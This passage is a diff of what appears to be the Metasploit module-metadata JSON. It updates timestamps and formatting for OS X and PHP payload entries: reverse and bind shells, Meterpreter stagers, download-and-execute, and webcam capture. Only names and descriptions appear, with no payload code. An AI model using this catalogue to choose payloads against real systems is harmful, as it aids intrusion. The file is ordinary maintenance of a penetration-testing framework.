@@ "nemo " ], "description": "dup2 socket in edi, then execve.\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-04 14:43:05 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/dupandexecve/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248735,9 +249464,7 @@ "payload_osx/x64/dupandexecve/reverse_tcp_uuid": { "name": "OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)", "fullname": "payload/osx/x64/dupandexecve/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248746,9 +249473,7 @@ "timwr" ], "description": "dup2 socket in edi, then execve.\n\nConnect back to the attacker with UUID Support (OSX x64)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, @@ -248762,8 +249487,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248774,9 +249498,7 @@ "payload_osx/x64/exec": { "name": "OS X x64 Execute Command", "fullname": "payload/osx/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248785,24 +249507,21 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x64/exec.rb", "is_install_path": true, "ref_name": "osx/x64/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248811,9 +249530,7 @@ "payload_osx/x64/meterpreter/bind_tcp": { "name": "OSX Meterpreter, Bind TCP Stager", "fullname": "payload/osx/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248834,15 +249551,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248853,9 +249569,7 @@ "payload_osx/x64/meterpreter/reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Stager", "fullname": "payload/osx/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248876,15 +249590,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-04 14:43:05 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248895,9 +249608,7 @@ "payload_osx/x64/meterpreter/reverse_tcp_uuid": { "name": "OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)", "fullname": "payload/osx/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248924,8 +249635,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248936,9 +249646,7 @@ "payload_osx/x64/meterpreter_reverse_http": { "name": "OSX Meterpreter, Reverse HTTP Inline", "fullname": "payload/osx/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248948,24 +249656,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "osx/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248974,9 +249679,7 @@ "payload_osx/x64/meterpreter_reverse_https": { "name": "OSX Meterpreter, Reverse HTTPS Inline", "fullname": "payload/osx/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248986,24 +249689,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "osx/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249012,9 +249712,7 @@ "payload_osx/x64/meterpreter_reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Inline", "fullname": "payload/osx/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249024,24 +249722,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249050,9 +249745,7 @@ "payload_osx/x64/say": { "name": "OS X x64 say Shellcode", "fullname": "payload/osx/x64/say", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249060,24 +249753,21 @@ "nemo " ], "description": "Say an arbitrary string outloud using Mac OS X text2speech", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x64/say.rb", "is_install_path": true, "ref_name": "osx/x64/say", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249086,9 +249776,7 @@ "payload_osx/x64/shell_bind_tcp": { "name": "OS X x64 Shell Bind TCP", "fullname": "payload/osx/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249096,24 +249784,21 @@ "nemo " ], "description": "Bind an arbitrary command to an arbitrary port", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249122,34 +249807,29 @@ "payload_osx/x64/shell_find_tag": { "name": "OSX Command Shell, Find Tag Inline", "fullname": "payload/osx/x64/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "nemo " ], - "description": "Spawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "description": "Spawn a shell on an established connection (proxy/NAT safe)", + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x64/shell_find_tag.rb", "is_install_path": true, "ref_name": "osx/x64/shell_find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249158,9 +249838,7 @@ "payload_osx/x64/shell_reverse_tcp": { "name": "OS X x64 Shell Reverse TCP", "fullname": "payload/osx/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249168,24 +249846,21 @@ "nemo " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249194,9 +249869,7 @@ "payload_osx/x86/bundleinject/bind_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Bind TCP Stager", "fullname": "payload/osx/x86/bundleinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249204,24 +249877,21 @@ "ddz " ], "description": "Inject a custom Mach-O bundle into the exploited process.\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/bundleinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249232,9 +249902,7 @@ "payload_osx/x86/bundleinject/reverse_tcp": { "name": "Mac OS X Inject Mach-O Bundle, Reverse TCP Stager", "fullname": "payload/osx/x86/bundleinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249242,24 +249910,21 @@ "ddz " ], "description": "Inject a custom Mach-O bundle into the exploited process.\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/bundleinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249270,9 +249935,7 @@ "payload_osx/x86/exec": { "name": "OS X Execute Command", "fullname": "payload/osx/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249282,24 +249945,21 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x86/exec.rb", "is_install_path": true, "ref_name": "osx/x86/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249308,9 +249968,7 @@ "payload_osx/x86/isight/bind_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Bind TCP Stager", "fullname": "payload/osx/x86/isight/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249318,24 +249976,21 @@ "ddz " ], "description": "Inject a Mach-O bundle to capture a photo from the iSight (staged).\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/isight/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249346,9 +250001,7 @@ "payload_osx/x86/isight/reverse_tcp": { "name": "Mac OS X x86 iSight Photo Capture, Reverse TCP Stager", "fullname": "payload/osx/x86/isight/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249356,24 +250009,21 @@ "ddz " ], "description": "Inject a Mach-O bundle to capture a photo from the iSight (staged).\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/isight/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249384,9 +250034,7 @@ "payload_osx/x86/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", "fullname": "payload/osx/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249394,24 +250042,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x86/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249420,9 +250065,7 @@ "payload_osx/x86/shell_find_port": { "name": "OS X Command Shell, Find Port Inline", "fullname": "payload/osx/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249430,24 +250073,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x86/shell_find_port.rb", "is_install_path": true, "ref_name": "osx/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249456,9 +250096,7 @@ "payload_osx/x86/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", "fullname": "payload/osx/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249466,24 +250104,21 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249492,9 +250127,7 @@ "payload_osx/x86/vforkshell/bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Stager", "fullname": "payload/osx/x86/vforkshell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249502,24 +250135,21 @@ "ddz " ], "description": "Call vfork() if necessary and spawn a command shell (staged).\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/vforkshell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249530,9 +250160,7 @@ "payload_osx/x86/vforkshell/reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Stager", "fullname": "payload/osx/x86/vforkshell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249540,24 +250168,21 @@ "ddz " ], "description": "Call vfork() if necessary and spawn a command shell (staged).\n\nConnect, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/vforkshell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249568,9 +250193,7 @@ "payload_osx/x86/vforkshell_bind_tcp": { "name": "OS X (vfork) Command Shell, Bind TCP Inline", "fullname": "payload/osx/x86/vforkshell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249578,24 +250201,21 @@ "ddz " ], "description": "Listen for a connection, vfork if necessary, and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/vforkshell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249604,9 +250224,7 @@ "payload_osx/x86/vforkshell_reverse_tcp": { "name": "OS X (vfork) Command Shell, Reverse TCP Inline", "fullname": "payload/osx/x86/vforkshell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249614,98 +250232,21 @@ "ddz " ], "description": "Connect back to attacker, vfork if necessary, and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/x86/vforkshell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 1, - "staged": false - }, - "payload_php/bind_perl": { - "name": "PHP Command Shell, Bind TCP (via Perl)", - "fullname": "payload/php/bind_perl", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Samy ", - "cazz " - ], - "description": "Listen for a connection and spawn a command shell via perl (persistent)", - "references": [ - - ], - "platform": "PHP", - "arch": "php", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-09-17 21:39:45 +0000", - "path": "/modules/payloads/singles/php/bind_perl.rb", - "is_install_path": true, - "ref_name": "php/bind_perl", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 1, - "staged": false - }, - "payload_php/bind_perl_ipv6": { - "name": "PHP Command Shell, Bind TCP (via perl) IPv6", - "fullname": "payload/php/bind_perl_ipv6", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Samy ", - "cazz " - ], - "description": "Listen for a connection and spawn a command shell via perl (persistent) over IPv6", - "references": [ - - ], - "platform": "PHP", - "arch": "php", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-09-17 21:39:45 +0000", - "path": "/modules/payloads/singles/php/bind_perl_ipv6.rb", - "is_install_path": true, - "ref_name": "php/bind_perl_ipv6", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249714,9 +250255,7 @@ "payload_php/bind_php": { "name": "PHP Command Shell, Bind TCP (via PHP)", "fullname": "payload/php/bind_php", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249725,24 +250264,21 @@ "diaul " ], "description": "Listen for a connection and spawn a command shell via php", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/php/bind_php.rb", "is_install_path": true, "ref_name": "php/bind_php", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249751,9 +250287,7 @@ "payload_php/bind_php_ipv6": { "name": "PHP Command Shell, Bind TCP (via php) IPv6", "fullname": "payload/php/bind_php_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249762,24 +250296,21 @@ "diaul " ], "description": "Listen for a connection and spawn a command shell via php (IPv6)", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/php/bind_php_ipv6.rb", "is_install_path": true, "ref_name": "php/bind_php_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249788,9 +250319,7 @@ "payload_php/download_exec": { "name": "PHP Executable Download and Execute", "fullname": "payload/php/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249798,24 +250327,21 @@ "egypt " ], "description": "Download an EXE from an HTTP URL and execute it", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/php/download_exec.rb", "is_install_path": true, "ref_name": "php/download_exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249824,9 +250350,7 @@ "payload_php/exec": { "name": "PHP Execute Command ", "fullname": "payload/php/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249834,24 +250358,21 @@ "egypt " ], "description": "Execute a single system command", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-09 16:09:15 +0000", "path": "/modules/payloads/singles/php/exec.rb", "is_install_path": true, "ref_name": "php/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -249860,9 +250381,7 @@ "payload_php/meterpreter/bind_tcp": { "name": "PHP Meterpreter, Bind TCP Stager", "fullname": "payload/php/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249870,24 +250389,21 @@ "egypt " ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/php/bind_tcp.rb", "is_install_path": true, "ref_name": "php/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249898,9 +250414,7 @@ "payload_php/meterpreter/bind_tcp_ipv6": { "name": "PHP Meterpreter, Bind TCP Stager IPv6", "fullname": "payload/php/meterpreter/bind_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249908,24 +250422,21 @@ "egypt " ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection over IPv6", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/php/bind_tcp_ipv6.rb", "is_install_path": true, "ref_name": "php/meterpreter/bind_tcp_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249936,9 +250447,7 @@ "payload_php/meterpreter/bind_tcp_ipv6_uuid": { "name": "PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support", "fullname": "payload/php/meterpreter/bind_tcp_ipv6_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249947,24 +250456,21 @@ "OJ Reeves" ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection over IPv6 with UUID Support", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb", "is_install_path": true, "ref_name": "php/meterpreter/bind_tcp_ipv6_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -249975,9 +250481,7 @@ "payload_php/meterpreter/bind_tcp_uuid": { "name": "PHP Meterpreter, Bind TCP Stager with UUID Support", "fullname": "payload/php/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -249986,24 +250490,21 @@ "OJ Reeves" ], "description": "Run a meterpreter server in PHP.\n\nListen for a connection with UUID Support", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/php/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "php/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250014,9 +250515,7 @@ "payload_php/meterpreter/reverse_tcp": { "name": "PHP Meterpreter, PHP Reverse TCP Stager", "fullname": "payload/php/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250024,24 +250523,21 @@ "egypt " ], "description": "Run a meterpreter server in PHP.\n\nReverse PHP connect back stager with checks for disabled functions", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/php/reverse_tcp.rb", "is_install_path": true, "ref_name": "php/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250052,9 +250548,7 @@ "payload_php/meterpreter/reverse_tcp_uuid": { "name": "PHP Meterpreter, 